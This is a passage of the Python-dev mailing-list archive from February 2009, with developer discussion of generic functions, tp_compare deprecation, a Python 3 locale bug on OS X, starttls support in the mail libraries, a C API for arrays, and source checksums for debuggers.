Type-based dispatch on the first argument is fairly straightforward to describe in terms that make sense to anyone that is already familiar with dynamic dispatch of class and instance methods. It's only when you get into more exotic dispatch conditions and up-calls and the like that people's eyes start to glaze over. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From ncoghlan at gmail.com Mon Feb 2 11:36:29 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Mon, 02 Feb 2009 20:36:29 +1000 Subject: [Python-Dev] python 3.0, tp_compare not used for == test? In-Reply-To: References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com> Message-ID: <4986CCAD.1020904@gmail.com> Terry Reedy wrote: > Campbell Barton wrote: > In 3.0, the build-in cmp() should have been removed and will be for > 3.0.1. Do not use it. I believe the tp_compare slot should not be used > either. It will become reserved. It will not be removed only because > that would change the binary layout. I'm wondering if Mark should add the exception he recently removed back in as a Deprecation Warning when tp_compare is defined, but tp_richcompare is not. Such a warning should also be present when running with -3 in 2.7 (assuming it isn't already there). Otherwise we're going to get more questions like Campbell's wondering if it is intentional that tp_compare is no longer getting called in the 3.x series (the warnings would both make it explicit and give guidance on what to do about it). Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From reto-ml-python-dev at schuettel.ch Mon Feb 2 11:40:45 2009 From: reto-ml-python-dev at schuettel.ch (Reto Schuettel) Date: Mon, 2 Feb 2009 11:40:45 +0100 Subject: [Python-Dev] Strange locale problem with Python 3 In-Reply-To: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch> References: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch> Message-ID: <20090202104045.GA16318@bounty.schuettel.ch> Sorry! Somehow my mailclient managed to mess up my message, here another copy of it, hopefully in better conditions than last time. Aahz: Good idea, I've created a bug report. Bug ID 5125 Hi While helping Brandon Rhodes to port PyEphem[1] to Python 3 we struggled over a strange locale-related problem on OS X. PyEphem is a library which can do astronomical computations like tracking the position of stars, planets and earth satellites relative to the earth's position. When testing out the Python 3 release of PyEphem I noticed that on my OS X laptop a lot of calculations were wrong (not completely wrong, but clearly not accurate) compared to Python 2.5. We (well mostly Brandon) were able to track down the problem to the TLE parser (TLE are data file containing the orbital elements of an object) which appears to read most values wrong with python 3. In fact it cut of the decimal parts of all floats (1.123232 got 1, etc). Manually setting LANG and LC_ALL to C solved the problem. It turns out that some parts of Python 3 got more locale dependent on some platforms. The only platform I am aware of is OS X, on Linux Python 3 appears to behave like Python 2.x did. In case of PyEphem the problem was in the C extension which got more locale dependent, for example atof() or scanf() with Python 3 now expected the german decimal-delimiter ',' instead of the '.' in floats (3.14 vs. 3,14). On the other hand the constructor of float still expects '.' all the time. But the built-in function strptime() honors locales with Python 3 and expects german week day. I've written a simple script and a simple C extension which illustrates the problem. Both the extension and the script run python 2.x and python 3, so you can easily compare the result while executing the script in different environments. I was only able to reproduce the problem on OS X (10.5) and using a german locale like "de_CH.UTF-8". When manually setting LC_ALL=C, the differences disappears. I can't imagine that his behavior was really intended, and I hope the test case helps you guys to identify/fix this problem. Download the test case from: http://github.com/retoo/py3k-locale-problem/tarball/master or get it using git: git://github.com/retoo/py3k-locale-problem.git You can use the following steps to build it: $ python2.5 setup.py build $ python3.0 setup.py build To run the tests with python 2.5, enter: $ (cd build/lib*-2.5; python2.5 py3k_locale_problem.py) ... for 3.0 ... $ (cd build/lib*-3.0; python3.0 py3k_locale_problem.py) In the file 'results.txt' you can see the output from my OS X system. Cheers, Reto Schuettel [1] http://rhodesmill.org/pyephem/ From p.f.moore at gmail.com Mon Feb 2 11:43:22 2009 From: p.f.moore at gmail.com (Paul Moore) Date: Mon, 2 Feb 2009 10:43:22 +0000 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <4986CB69.3020501@gmail.com> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <498272CB.5040503@ronadam.com> <4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info> <79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com> <49830FB1.3060306@livinglogic.de> <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> <4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com> Message-ID: <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com> 2009/2/2 Nick Coghlan : > A trio of patches that: > 1. promoted simplegeneric from pkgutil to functools (with appropriate > documentation and tests) > 2. changed pkgutil to use functools.simplegeneric instead of its current > internal version > 3. updated pprint to be a generic function (and hence more easily > extensible via the ABC mechanism, while still keeping it's current > special cases as necessary) > > would certainly be an interesting thing to see (with patch 3 being the > poster child for why patch 1 is a good idea). I'll see what I can do. I can't promise much for (3) as I don't personally have a need for it, so my understanding of the use cases is limited at best. But (1) and (2) should be possible. Can I assign the patches to you (for review, at least)? > The major virtue of such a basic generic framework is that it is much > easier to explain than the all-singing all-dancing overloading system > described in PEP 3124. Type-based dispatch on the first argument is > fairly straightforward to describe in terms that make sense to anyone > that is already familiar with dynamic dispatch of class and instance > methods. It's only when you get into more exotic dispatch conditions and > up-calls and the like that people's eyes start to glaze over. Agreed. And given that the simple case probably covers 90% of the practical requirements, that's a shame. Paul. From ncoghlan at gmail.com Mon Feb 2 12:01:46 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Mon, 02 Feb 2009 21:01:46 +1000 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <498272CB.5040503@ronadam.com> <4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info> <79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com> <49830FB1.3060306@livinglogic.de> <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> <4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com> <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com> Message-ID: <4986D29A.1010304@gmail.com> Paul Moore wrote: > 2009/2/2 Nick Coghlan : >> A trio of patches that: >> 1. promoted simplegeneric from pkgutil to functools (with appropriate >> documentation and tests) >> 2. changed pkgutil to use functools.simplegeneric instead of its current >> internal version >> 3. updated pprint to be a generic function (and hence more easily >> extensible via the ABC mechanism, while still keeping it's current >> special cases as necessary) >> >> would certainly be an interesting thing to see (with patch 3 being the >> poster child for why patch 1 is a good idea). > > I'll see what I can do. I can't promise much for (3) as I don't > personally have a need for it, so my understanding of the use cases is > limited at best. But (1) and (2) should be possible. > > Can I assign the patches to you (for review, at least)? Sure - I've had plenty to do with functools in the past, and will no doubt have plenty to do with it in the future. Given that I believe Guido was one of the folks whose brain was hurt by PJE's attempts to explain PEP 3124, I'll be bringing the discussion back here before committing anything though :) (and don't worry too much about 3 - it will give me an opportunity to road test the functools patch by using it to refactor pprint and check the performance implications) Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From dickinsm at gmail.com Mon Feb 2 12:15:19 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Mon, 2 Feb 2009 11:15:19 +0000 Subject: [Python-Dev] python 3.0, tp_compare not used for == test? In-Reply-To: <4986CCAD.1020904@gmail.com> References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com> <4986CCAD.1020904@gmail.com> Message-ID: <5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com> On Mon, Feb 2, 2009 at 10:36 AM, Nick Coghlan wrote: > I'm wondering if Mark should add the exception he recently removed back > in as a Deprecation Warning when tp_compare is defined, but > tp_richcompare is not. This sounds reasonable to me. A third-party module that implements tp_compare but not tp_richcompare is almost certainly not going to be giving the behaviour that its author intended, after 3.0.1. Currently, the only warning that such an author gets is a possible compiler warning about incompatible pointer types (type of tp_compare versus type of tp_reserved), should he/she happen to recompile and be watching the compiler output closely. > Such a warning should also be present when > running with -3 in 2.7 (assuming it isn't already there). I'm not sure how/whether that would work, given that there are probably still plenty of 2.7 modules in the distribution that (quite legitimately) define tp_compare but not tp_richcompare. Mark From ncoghlan at gmail.com Mon Feb 2 12:38:19 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Mon, 02 Feb 2009 21:38:19 +1000 Subject: [Python-Dev] python 3.0, tp_compare not used for == test? In-Reply-To: <5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com> References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com> <4986CCAD.1020904@gmail.com> <5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com> Message-ID: <4986DB2B.5040400@gmail.com> Mark Dickinson wrote: > On Mon, Feb 2, 2009 at 10:36 AM, Nick Coghlan wrote: >> Such a warning should also be present when >> running with -3 in 2.7 (assuming it isn't already there). > > I'm not sure how/whether that would work, given that there are > probably still plenty of 2.7 modules in the distribution that > (quite legitimately) define tp_compare but not tp_richcompare. That's what the -3 command line switch is for - it sets a boolean flag that C code can check to see if it should emit warnings for things that are going to break in Python 3.x. There's already at least one example of its use in typeobject.c (relating to inheritance of the tp_hash slot). There are a few other examples about the place (e.g. I believe that when -3 is defined the return value of dict.keys and friends is changed to a list subclass that warns on certain operations that have different semantics in 3.x). Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From dickinsm at gmail.com Mon Feb 2 13:10:39 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Mon, 2 Feb 2009 12:10:39 +0000 Subject: [Python-Dev] python 3.0, tp_compare not used for == test? In-Reply-To: <4986DB2B.5040400@gmail.com> References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com> <4986CCAD.1020904@gmail.com> <5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com> <4986DB2B.5040400@gmail.com> Message-ID: <5c6f2a5d0902020410v70a7e5e8tab1b233c379c48ec@mail.gmail.com> On Mon, Feb 2, 2009 at 11:38 AM, Nick Coghlan wrote: > That's what the -3 command line switch is for - it sets a boolean flag > that C code can check to see if it should emit warnings for things that > are going to break in Python 3.x. Understood. My worry was that we'd get a lot of false positives--- i.e., warnings about pieces of Python 2.7 that don't need to change. But I guess that's okay. > There's already at least one example > of its use in typeobject.c (relating to inheritance of the tp_hash > slot). There are a few other examples about the place (e.g. I believe > that when -3 is defined the return value of dict.keys and friends is > changed to a list subclass that warns on certain operations that have > different semantics in 3.x). Thanks for the pointers. I'll take a look and see if I can come up with a patch. But I'd like to complete the rest of the cmp removal stuff first. Mark From lorenzo at sancho.ccd.uniroma2.it Mon Feb 2 12:48:09 2009 From: lorenzo at sancho.ccd.uniroma2.it (Lorenzo M. Catucci) Date: Mon, 2 Feb 2009 12:48:09 +0100 (CET) Subject: [Python-Dev] mail libraries streamlined support for ssl and starttls [2nd try!] In-Reply-To: References: Message-ID: Sorry for being a pest here... and for forgetting to put pointers to the issues in the previous attempt... the issues on bugs.python.org are: http://bugs.python.org/issue4470 - smtplib SMTP_SSL not working http://bugs.python.org/issue4471 - IMAP4 missing support for starttls http://bugs.python.org/issue4473 - POP3 missing support for starttls still, I'd be grateful if someone could please try and take look at the patches I've posted on bugs.python.org for smtplib, imaplib and poplib, since I think they could be useful for a future 2.x release of the standard library, and I've verified they port almost as they are to python3. They are almost stupid, I know; still, smtp over ssl in the standard library is not working, and the starttls method is declared as being the preferred one since RFC 2595 time... """7. imaps and pop3s ports Separate "imaps" and "pop3s" ports were registered for use with SSL. Use of these ports is discouraged in favor of the STARTTLS or STLS commands. [...] """ Thank you all very much... (once more!), yours, lorenzo +-------------------------+----------------------------------------------+ | Lorenzo M. Catucci | Centro di Calcolo e Documentazione | | catucci at ccd.uniroma2.it | Universit? degli Studi di Roma "Tor Vergata" | | | Via O. Raimondo 18 ** I-00173 ROMA ** ITALY | | Tel. +39 06 7259 2255 | Fax. +39 06 7259 2125 | +-------------------------+----------------------------------------------+ From lorenzo at sancho.ccd.uniroma2.it Mon Feb 2 12:43:52 2009 From: lorenzo at sancho.ccd.uniroma2.it (Lorenzo M. Catucci) Date: Mon, 2 Feb 2009 12:43:52 +0100 (CET) Subject: [Python-Dev] mail libraries streamlined support for ssl and starttls Message-ID: Sorry for being a pest here... still, I'd be grateful if someone could please try and take look at the patches I've posted on bugs.python.org for smtplib, imaplib and poplib, since I think they could be useful for a future 2.x release of the standard library, and I've verified they port almost as they are to python3. They are almost stupid, I know; still, smtp over ssl in the standard library is not working, and the starttls method is declared as being the preferred one since RFC 2595 time... """7. imaps and pop3s ports Separate "imaps" and "pop3s" ports were registered for use with SSL. Use of these ports is discouraged in favor of the STARTTLS or STLS commands. [...] """ Thank you all very much... Yours, lorenzo +-------------------------+----------------------------------------------+ | Lorenzo M. Catucci | Centro di Calcolo e Documentazione | | catucci at ccd.uniroma2.it | Universit? degli Studi di Roma "Tor Vergata" | | | Via O. Raimondo 18 ** I-00173 ROMA ** ITALY | | Tel. +39 06 7259 2255 | Fax. +39 06 7259 2125 | +-------------------------+----------------------------------------------+ From tseaver at palladion.com Mon Feb 2 14:00:56 2009 From: tseaver at palladion.com (Tres Seaver) Date: Mon, 02 Feb 2009 08:00:56 -0500 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <4986D29A.1010304@gmail.com> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <498272CB.5040503@ronadam.com> <4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info> <79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com> <49830FB1.3060306@livinglogic.de> <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> <4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com> <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com> <4986D29A.1010304@gmail.com> Message-ID: <4986EE88.3030206@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Nick Coghlan wrote: > Paul Moore wrote: >> 2009/2/2 Nick Coghlan : >>> A trio of patches that: >>> 1. promoted simplegeneric from pkgutil to functools (with appropriate >>> documentation and tests) >>> 2. changed pkgutil to use functools.simplegeneric instead of its current >>> internal version >>> 3. updated pprint to be a generic function (and hence more easily >>> extensible via the ABC mechanism, while still keeping it's current >>> special cases as necessary) >>> >>> would certainly be an interesting thing to see (with patch 3 being the >>> poster child for why patch 1 is a good idea). >> I'll see what I can do. I can't promise much for (3) as I don't >> personally have a need for it, so my understanding of the use cases is >> limited at best. But (1) and (2) should be possible. >> >> Can I assign the patches to you (for review, at least)? > > Sure - I've had plenty to do with functools in the past, and will no > doubt have plenty to do with it in the future. > > Given that I believe Guido was one of the folks whose brain was hurt by > PJE's attempts to explain PEP 3124, I'll be bringing the discussion back > here before committing anything though :) > > (and don't worry too much about 3 - it will give me an opportunity to > road test the functools patch by using it to refactor pprint and check > the performance implications) /me wonders about the performance-criticality of anything using 'pprint'. Or were you just planning to use it as a means to benchmark the 'simplegeneric' stuff? I would think something with a lot lower intrinsic overhead would be a better benchmark target. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJhu6I+gerLs4ltQ4RAvdcAJ4mFTcdfgG7ZVvdKXulIw+fWgLJxwCeOrTO 9rriK3+zyl4K63doUjbckF4= =++qD -----END PGP SIGNATURE----- From tseaver at palladion.com Mon Feb 2 14:00:56 2009 From: tseaver at palladion.com (Tres Seaver) Date: Mon, 02 Feb 2009 08:00:56 -0500 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <4986D29A.1010304@gmail.com> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <498272CB.5040503@ronadam.com> <4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info> <79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com> <49830FB1.3060306@livinglogic.de> <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> <4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com> <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com> <4986D29A.1010304@gmail.com> Message-ID: <4986EE88.3030206@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Nick Coghlan wrote: > Paul Moore wrote: >> 2009/2/2 Nick Coghlan : >>> A trio of patches that: >>> 1. promoted simplegeneric from pkgutil to functools (with appropriate >>> documentation and tests) >>> 2. changed pkgutil to use functools.simplegeneric instead of its current >>> internal version >>> 3. updated pprint to be a generic function (and hence more easily >>> extensible via the ABC mechanism, while still keeping it's current >>> special cases as necessary) >>> >>> would certainly be an interesting thing to see (with patch 3 being the >>> poster child for why patch 1 is a good idea). >> I'll see what I can do. I can't promise much for (3) as I don't >> personally have a need for it, so my understanding of the use cases is >> limited at best. But (1) and (2) should be possible. >> >> Can I assign the patches to you (for review, at least)? > > Sure - I've had plenty to do with functools in the past, and will no > doubt have plenty to do with it in the future. > > Given that I believe Guido was one of the folks whose brain was hurt by > PJE's attempts to explain PEP 3124, I'll be bringing the discussion back > here before committing anything though :) > > (and don't worry too much about 3 - it will give me an opportunity to > road test the functools patch by using it to refactor pprint and check > the performance implications) /me wonders about the performance-criticality of anything using 'pprint'. Or were you just planning to use it as a means to benchmark the 'simplegeneric' stuff? I would think something with a lot lower intrinsic overhead would be a better benchmark target. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJhu6I+gerLs4ltQ4RAvdcAJ4mFTcdfgG7ZVvdKXulIw+fWgLJxwCeOrTO 9rriK3+zyl4K63doUjbckF4= =++qD -----END PGP SIGNATURE----- From mal at egenix.com Mon Feb 2 14:40:55 2009 From: mal at egenix.com (M.-A. Lemburg) Date: Mon, 02 Feb 2009 14:40:55 +0100 Subject: [Python-Dev] Strange locale problem with Python 3 In-Reply-To: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch> References: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch> Message-ID: <4986F7E7.9020305@egenix.com> On 2009-02-01 19:44, Reto Sch?ttel wrote: > Hi > > While helping Brandon Rhodes to port PyEphem[1] to Python 3 we struggled > over a > strange locale-related problem on OS X. PyEphem is a library which can do > astronomical computations like tracking the position of stars, planets and > earth satellites relative to the earth's position. When testing out the > Python > 3 release of PyEphem I noticed that on my OS X laptop a lot of calculations > were wrong (not completely wrong, but clearly not accurate) compared to > Python > 2.5. We (well mostly Brandon) were able to track down the problem to the > TLE > parser (TLE are data file containing the orbital elements of an object) > which > appears to read most values wrong with python 3. In fact it cut of the > decimal > parts of all floats (1.123232 got 1, etc). Manually setting LANG and > LC_ALL to > C solved the problem. > > It turns out that some parts of Python 3 got more locale dependent on some > platforms. The only platform I am aware of is OS X, on Linux Python 3 > appears > to behave like Python 2.x did. This is probably due to the unconditional call to setlocale() in pythonrun.c: /* Set up the LC_CTYPE locale, so we can obtain the locale's charset without having to switch locales. */ setlocale(LC_CTYPE, ""); In Python 2, no such call is made and as a result the C lib defaults to the "C" locale. Calling setlocale() in an application is always dangerous due to the many side-effects this can have on the C lib parsing and formatting APIs. If this is done just to figure the environment's locale settings, then it's better to reset the locale to the one that was active before the setlocale() call. Python 2 uses this approach. Python 3 does not. > In case of PyEphem the problem was in the C extension which got more locale > dependent, for example atof() or scanf() with Python 3 now expected the > german > decimal-delimiter ',' instead of the '.' in floats (3.14 vs. 3,14). On the > other hand the constructor of float still expects '.' all the time. But the > built-in function strptime() honors locales with Python 3 and expects > german > week day. > > I've written a simple script and a simple C extension which illustrates the > problem. Both the extension and the script run python 2.x and python 3, > so you > can easily compare the result while executing the script in different > environments. > > I was only able to reproduce the problem on OS X (10.5) and using a german > locale like "de_CH.UTF-8". When manually setting LC_ALL=C, the differences > disappears. > > I can't imagine that his behavior was really intended, and I hope the > test case > helps you guys to identify/fix this problem. > > Download the test case from: > http://github.com/retoo/py3k-locale-problem/tarball/master > or get it using git: > git://github.com/retoo/py3k-locale-problem.git > > You can use the following steps to build it: > > $ python2.5 setup.py build > $ python3.0 setup.py build > > To run the tests with python 2.5, enter: > $ (cd build/lib*-2.5; python2.5 py3k_locale_problem.py) > ... for 3.0 ... > $ (cd build/lib*-3.0; python3.0 py3k_locale_problem.py) > > In the file 'results.txt' you can see the output from my OS X system. > > Cheers, > Reto Sch?ttel > > [1] http://rhodesmill.org/pyephem/ -- Marc-Andre Lemburg eGenix.com Professional Python Services directly from the Source (#1, Feb 02 2009) >>> Python/Zope Consulting and Support ... http://www.egenix.com/ >>> mxODBC.Zope.Database.Adapter ... http://zope.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ ::: Try our new mxODBC.Connect Python Database Interface for free ! :::: eGenix.com Software, Skills and Services GmbH Pastor-Loeh-Str.48 D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg Registered at Amtsgericht Duesseldorf: HRB 46611 http://www.egenix.com/company/contact/ From hrvoje.niksic at avl.com Mon Feb 2 18:21:48 2009 From: hrvoje.niksic at avl.com (Hrvoje Niksic) Date: Mon, 02 Feb 2009 18:21:48 +0100 Subject: [Python-Dev] C API for appending to arrays Message-ID: <49872BAC.8040005@avl.com> The array.array type is an excellent type for storing a large amount of "native" elements, such as integers, chars, doubles, etc., without involving the heavy machinery of numpy. It's both blazingly fast and reasonably efficient with memory. The one thing missing from the array module is the ability to directly access array values from C. This might seem superfluous, as it's perfectly possible to manipulate array contents from Python/C using PyObject_CallMethod and friends. The problem is that it requires the native values to be marshalled to Python objects, only to be immediately converted back to native values by the array code. This can be a problem when, for example, a numeric array needs to be filled with contents, such as in this hypothetical example: /* error checking and refcounting subtleties omitted for brevity */ PyObject *load_data(Source *src) { PyObject *array_type = get_array_type(); PyObject *array = PyObject_CallFunction(array_type, "c", 'd'); PyObject *append = PyObect_GetAttrString(array, "append"); while (!source_done(src)) { double num = source_next(src); PyObject *f = PyFloat_FromDouble(num); PyObject *ret = PyObject_CallFunctionObjArgs(append, f, NULL); if (!ret) return NULL; Py_DECREF(ret); Py_DECREF(f); } Py_DECREF(array_type); return array; } The inner loop must convert each C double to a Python Float, only for the array to immediately extract the double back from the Float and store it into the underlying array of C doubles. This may seem like a nitpick, but it turns out that more than half of the time of this function is spent creating and deleting those short-lived floating-point objects. Float creation is already well-optimized, so opportunities for speedup lie elsewhere. The array object exposes a writable buffer, which can be used to store values directly. For test purposes I created a faster "append" specialized for doubles, defined like this: int array_append(PyObject *array, PyObject *appendfun, double val) { PyObject *ret; double *buf; Py_ssize_t bufsize; static PyObject *zero; if (!zero) zero = PyFloat_FromDouble(0); // append dummy zero value, created only once ret = PyObject_CallFunctionObjArgs(appendfun, zero, NULL); if (!ret) return -1; Py_DECREF(ret); // append the element directly at the end of the C buffer PyObject_AsWriteBuffer(array, (void **) &buf, &bufsize)); buf[bufsize / sizeof(double) - 1] = val; return 0; } This hack actually speeds up array creation by a significant percentage (30-40% in my case, and that's for code that was producing the values by parsing a large text file). It turns out that an even faster method of creating an array is by using the fromstring() method. fromstring() requires an actual string, not a buffer, so in C++ I created an std::vector with a contiguous array of doubles, passed that array to PyString_FromStringAndSize, and called array.fromstring with the resulting string. Despite all the unnecessary copying, the result was much faster than either of the previous versions. Would it be possible for the array module to define a C interface for the most frequent operations on array objects, such as appending an item, and getting/setting an item? Failing that, could we at least make fromstring() accept an arbitrary read buffer, not just an actual string? From python at rcn.com Mon Feb 2 19:02:12 2009 From: python at rcn.com (Raymond Hettinger) Date: Mon, 2 Feb 2009 10:02:12 -0800 Subject: [Python-Dev] C API for appending to arrays References: <49872BAC.8040005@avl.com> Message-ID: <17927FE773C840B6982AD4A20671E8C6@RaymondLaptop1> [Hrvoje Niksic] > The one thing missing from the array > module is the ability to directly access array values from C. Please put a feature request on the bug tracker. Raymond From brett at python.org Mon Feb 2 19:25:04 2009 From: brett at python.org (Brett Cannon) Date: Mon, 2 Feb 2009 10:25:04 -0800 Subject: [Python-Dev] Should there be a source-code checksum in module objects? In-Reply-To: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com> References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com> Message-ID: On Mon, Feb 2, 2009 at 00:52, Rocky Bernstein wrote: > As I've mentioned, I've been re-examining from ground up the whole > state of affairs in writing a debugger. > > One of the challenges of a debugger or any source-code analysis tool > is verifying that the source-code that the tool is reporting on > corresponds to the compiled object under execution. (For debuggers, > this problem becomes more likely to occur when you are debugging on a > computer that isn't the same as the computer where the code is > running.) > > Is there a checksum of the source text computed and stored in > compilation? No, only the bytecode version used, the mtime of the source the bytecode is derived from, and the bytecode itself. > If not, should there be one? If you are planning to read this directly from the .pyc file then it is not needed as the mtime timestamp in the .pyc should in general be enough to detect changes to the source. -Brett From rocky at gnu.org Mon Feb 2 19:48:44 2009 From: rocky at gnu.org (rocky at gnu.org) Date: Mon, 2 Feb 2009 13:48:44 -0500 Subject: [Python-Dev] Should there be a source-code checksum in module objects? In-Reply-To: References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com> Message-ID: <18823.16396.670887.39075@panix5.panix.com> Brett Cannon writes: > On Mon, Feb 2, 2009 at 00:52, Rocky Bernstein wrote: > > As I've mentioned, I've been re-examining from ground up the whole > > state of affairs in writing a debugger. > > > > One of the challenges of a debugger or any source-code analysis tool > > is verifying that the source-code that the tool is reporting on > > corresponds to the compiled object under execution. (For debuggers, > > this problem becomes more likely to occur when you are debugging on a > > computer that isn't the same as the computer where the code is > > running.) > > > > Is there a checksum of the source text computed and stored in > > compilation? > > No, only the bytecode version used, the mtime of the source the > bytecode is derived from, and the bytecode itself. > > > If not, should there be one? > > If you are planning to read this directly from the .pyc file then it > is not needed as the mtime timestamp in the .pyc should in general be > enough to detect changes to the source. I'm not sure I understand. I am debugging program P on computer A which may have (probably did?) do a compile. I am on computer B which I have the source code. Maybe it is checked out from a version control system same as on A. Maybe it has bytecodes, maybe not. But the expectation is that the programmer thinks it matches what is currently on A that the programmer is debuggging. Can I tell for certain? Suppose I'm writing a code coverage tool which can accumulate statistics over many runs. I notice that the date on the Python file changes, again one way it might is that it might be checked out fresh and subversion for example will put in a current timestamp. How can the code coverage tool know that the source hasn't changed even though the file may have disappeared or maybe was modified several times but in the end stays the same? Thanks. > > -Brett > From guido at python.org Mon Feb 2 20:01:56 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 2 Feb 2009 11:01:56 -0800 Subject: [Python-Dev] Should there be a source-code checksum in module objects? In-Reply-To: <18823.16396.670887.39075@panix5.panix.com> References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com> <18823.16396.670887.39075@panix5.panix.com> Message-ID: On Mon, Feb 2, 2009 at 10:48 AM, wrote: > Brett Cannon writes: > > On Mon, Feb 2, 2009 at 00:52, Rocky Bernstein wrote: > > > As I've mentioned, I've been re-examining from ground up the whole > > > state of affairs in writing a debugger. > > > > > > One of the challenges of a debugger or any source-code analysis tool > > > is verifying that the source-code that the tool is reporting on > > > corresponds to the compiled object under execution. (For debuggers, > > > this problem becomes more likely to occur when you are debugging on a > > > computer that isn't the same as the computer where the code is > > > running.) > > > > > > Is there a checksum of the source text computed and stored in > > > compilation? > > > > No, only the bytecode version used, the mtime of the source the > > bytecode is derived from, and the bytecode itself. > > > > > If not, should there be one? > > > > If you are planning to read this directly from the .pyc file then it > > is not needed as the mtime timestamp in the .pyc should in general be > > enough to detect changes to the source. > > I'm not sure I understand. I am debugging program P on computer A > which may have (probably did?) do a compile. I am on computer B which > I have the source code. Maybe it is checked out from a version control > system same as on A. Maybe it has bytecodes, maybe not. But the > expectation is that the programmer thinks it matches what is currently > on A that the programmer is debuggging. Can I tell for certain? > > Suppose I'm writing a code coverage tool which can accumulate > statistics over many runs. I notice that the date on the Python file > changes, again one way it might is that it might be checked out fresh > and subversion for example will put in a current timestamp. How can > the code coverage tool know that the source hasn't changed even though > the file may have disappeared or maybe was modified several times but > in the end stays the same? Unfortunately this use case (remote debugging) was not considered when the code object was designed and implemented. I don't know how important the use case is in general, but clearly it is important to you. I suggest that you move this discussion to python-ideas to ferret out a possible implementation and API; or to find out work-arounds. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From barry at python.org Mon Feb 2 20:03:10 2009 From: barry at python.org (Barry Warsaw) Date: Mon, 2 Feb 2009 14:03:10 -0500 Subject: [Python-Dev] 3.0.1/3.1.0 summary In-Reply-To: <4984A9CA.1010307@v.loewis.de> References: <498295F5.2050607@v.loewis.de> <592904F8-89F5-4AC7-B3BF-0C51D3B474A6@python.org> <4984A9CA.1010307@v.loewis.de> Message-ID: <407AA0EE-FDB1-466A-AE21-933A38DE3DFD@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Jan 31, 2009, at 2:43 PM, Martin v. L?wis wrote: >> How about Friday February 13? > > Fine with me (although next Friday (Feb 6) would work slightly better) Feb 6 won't work for me. Would the 20th be better for you Martin? Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) 